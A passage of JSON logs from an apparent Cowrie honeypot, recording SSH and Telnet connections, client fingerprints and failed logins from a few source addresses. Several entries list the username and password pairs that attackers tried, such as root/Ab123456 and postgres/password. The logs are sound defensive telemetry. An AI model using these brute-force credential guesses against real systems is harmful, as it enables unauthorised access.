y1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:26.516855Z","src_ip":"31.40.204.166","session":"d6c8f63a1890","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:27.208373Z","src_ip":"31.40.204.166","session":"d6c8f63a1890","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:28.389287Z","src_ip":"31.40.204.166","session":"d6c8f63a1890","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.79437828063965,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:30.325533Z","src_ip":"152.42.224.71","session":"8ec3ae28c609","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35462,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ed8d414ad99","protocol":"telnet","message":"New connection: 152.42.224.71:35462 (10.17.0.5:23) [session: 6ed8d414ad99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:33.018323Z"}
{"eventid":"cowrie.session.closed","duration":43.42188215255737,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:37.050329Z","src_ip":"152.42.224.71","session":"edb9dc09d1ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":107.46328377723694,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:38.098705Z","src_ip":"152.42.224.71","session":"b3f2f2a934cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34970,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccc02a835fa3","protocol":"telnet","message":"New connection: 152.42.224.71:34970 (10.17.0.5:23) [session: ccc02a835fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:38.483208Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49456,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3876695cf54","protocol":"ssh","message":"New connection: 31.40.204.166:49456 (159.203.135.109:22) [session: c3876695cf54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:38.685758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:38.695145Z","src_ip":"31.40.204.166","session":"c3876695cf54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:38.817426Z","src_ip":"31.40.204.166","session":"c3876695cf54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.42027950286865,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:39.408900Z","src_ip":"152.42.224.71","session":"4b8396f9daa4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfasdf-space","message":"login attempt [root/asdfasdf-space] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:39.503931Z","src_ip":"31.40.204.166","session":"c3876695cf54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34976,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c4aba062a66","protocol":"telnet","message":"New connection: 152.42.224.71:34976 (10.17.0.5:23) [session: 7c4aba062a66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:39.689740Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:40.725194Z","src_ip":"31.40.204.166","session":"c3876695cf54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34986,"dst_ip":"10.17.0.5","dst_port":23,"session":"adf20bd7c9b0","protocol":"telnet","message":"New connection: 152.42.224.71:34986 (10.17.0.5:23) [session: adf20bd7c9b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:44.070076Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45840,"dst_ip":"159.203.135.109","dst_port":22,"session":"850fe9a1b471","protocol":"ssh","message":"New connection: 31.40.204.166:45840 (159.203.135.109:22) [session: 850fe9a1b471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:50.104628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:50.112936Z","src_ip":"31.40.204.166","session":"850fe9a1b471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:50.294837Z","src_ip":"31.40.204.166","session":"850fe9a1b471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50564,"dst_ip":"10.17.0.5","dst_port":23,"session":"19f79d3a81a0","protocol":"telnet","message":"New connection: 152.42.224.71:50564 (10.17.0.5:23) [session: 19f79d3a81a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:50.647109Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:50.910355Z","src_ip":"31.40.204.166","session":"850fe9a1b471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.728910207748413,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:51.211985Z","src_ip":"152.42.224.71","session":"ccc02a835fa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:52.212735Z","src_ip":"31.40.204.166","session":"850fe9a1b471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50572,"dst_ip":"10.17.0.5","dst_port":23,"session":"b00408dd0841","protocol":"telnet","message":"New connection: 152.42.224.71:50572 (10.17.0.5:23) [session: b00408dd0841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:53.711187Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50576,"dst_ip":"10.17.0.5","dst_port":23,"session":"207a66fc0a29","protocol":"telnet","message":"New connection: 152.42.224.71:50576 (10.17.0.5:23) [session: 207a66fc0a29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:55.755368Z"}
{"eventid":"cowrie.session.closed","duration":108.57998871803284,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:57.047111Z","src_ip":"152.42.224.71","session":"a177f33132f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51262,"dst_ip":"10.17.0.5","dst_port":23,"session":"7763fe22452d","protocol":"telnet","message":"New connection: 152.42.224.71:51262 (10.17.0.5:23) [session: 7763fe22452d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:58.931633Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51278,"dst_ip":"10.17.0.5","dst_port":23,"session":"35b262eca1cf","protocol":"telnet","message":"New connection: 152.42.224.71:51278 (10.17.0.5:23) [session: 35b262eca1cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:59.016076Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":56330,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c42ba2d7b41","protocol":"telnet","message":"New connection: 176.65.139.118:56330 (159.203.135.109:23) [session: 2c42ba2d7b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:59.762801Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47786,"dst_ip":"159.203.135.109","dst_port":22,"session":"081a83d1104c","protocol":"ssh","message":"New connection: 31.40.204.166:47786 (159.203.135.109:22) [session: 081a83d1104c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:01.401407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:01.406559Z","src_ip":"31.40.204.166","session":"081a83d1104c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:01.583786Z","src_ip":"31.40.204.166","session":"081a83d1104c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.168344020843506,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:01.931033Z","src_ip":"176.65.139.118","session":"2c42ba2d7b41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":38092,"dst_ip":"159.203.135.109","dst_port":23,"session":"c98d5e08f8fe","protocol":"telnet","message":"New connection: 176.65.139.118:38092 (159.203.135.109:23) [session: c98d5e08f8fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:02.009564Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:02.018732Z","src_ip":"31.40.204.166","session":"081a83d1104c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":101.15334415435791,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:02.500918Z","src_ip":"152.42.224.71","session":"7be2928f7649","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:03.281608Z","src_ip":"31.40.204.166","session":"081a83d1104c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.55227255821228,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:07.561695Z","src_ip":"176.65.139.118","session":"c98d5e08f8fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":38560,"dst_ip":"159.203.135.109","dst_port":23,"session":"d42e15935347","protocol":"telnet","message":"New connection: 176.65.139.118:38560 (159.203.135.109:23) [session: d42e15935347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:08.713963Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.176.210.17","src_port":40259,"dst_ip":"10.17.0.5","dst_port":22,"session":"47e9acfc0aa8","protocol":"ssh","message":"New connection: 179.176.210.17:40259 (10.17.0.5:22) [session: 47e9acfc0aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:09.230988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:09.234956Z","src_ip":"179.176.210.17","session":"47e9acfc0aa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:09.389086Z","src_ip":"179.176.210.17","session":"47e9acfc0aa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc$RFV","message":"login attempt [root/1qaz@WSX3edc$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:10.039946Z","src_ip":"179.176.210.17","session":"47e9acfc0aa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.417041540145874,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:10.130904Z","src_ip":"176.65.139.118","session":"d42e15935347","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":48474,"dst_ip":"159.203.135.109","dst_port":23,"session":"315266a100e1","protocol":"telnet","message":"New connection: 176.65.139.118:48474 (159.203.135.109:23) [session: 315266a100e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:10.317461Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:11.197514Z","src_ip":"179.176.210.17","session":"47e9acfc0aa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.780149936676025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:11.469729Z","src_ip":"152.42.224.71","session":"7c4aba062a66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.3199241161346436,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:12.637258Z","src_ip":"176.65.139.118","session":"315266a100e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":60002,"dst_ip":"159.203.135.109","dst_port":23,"session":"3eb4db28d73f","protocol":"telnet","message":"New connection: 176.65.139.118:60002 (159.203.135.109:23) [session: 3eb4db28d73f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:12.866784Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56768,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4e319df5365","protocol":"ssh","message":"New connection: 31.40.204.166:56768 (159.203.135.109:22) [session: c4e319df5365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:13.320004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:13.404994Z","src_ip":"31.40.204.166","session":"c4e319df5365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:13.495047Z","src_ip":"31.40.204.166","session":"c4e319df5365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amin","password":"amin","message":"login attempt [amin/amin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:14.182467Z","src_ip":"31.40.204.166","session":"c4e319df5365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.2771313190460205,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:15.143770Z","src_ip":"176.65.139.118","session":"3eb4db28d73f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:15.314858Z","src_ip":"31.40.204.166","session":"c4e319df5365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":44786,"dst_ip":"159.203.135.109","dst_port":23,"session":"da259c33a6c6","protocol":"telnet","message":"New connection: 176.65.139.118:44786 (159.203.135.109:23) [session: da259c33a6c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:15.423173Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36922,"dst_ip":"10.17.0.5","dst_port":23,"session":"3063692ad322","protocol":"telnet","message":"New connection: 152.42.224.71:36922 (10.17.0.5:23) [session: 3063692ad322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:22.386285Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36928,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4ca68553495","protocol":"telnet","message":"New connection: 152.42.224.71:36928 (10.17.0.5:23) [session: a4ca68553495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:14:22.699588Z"}
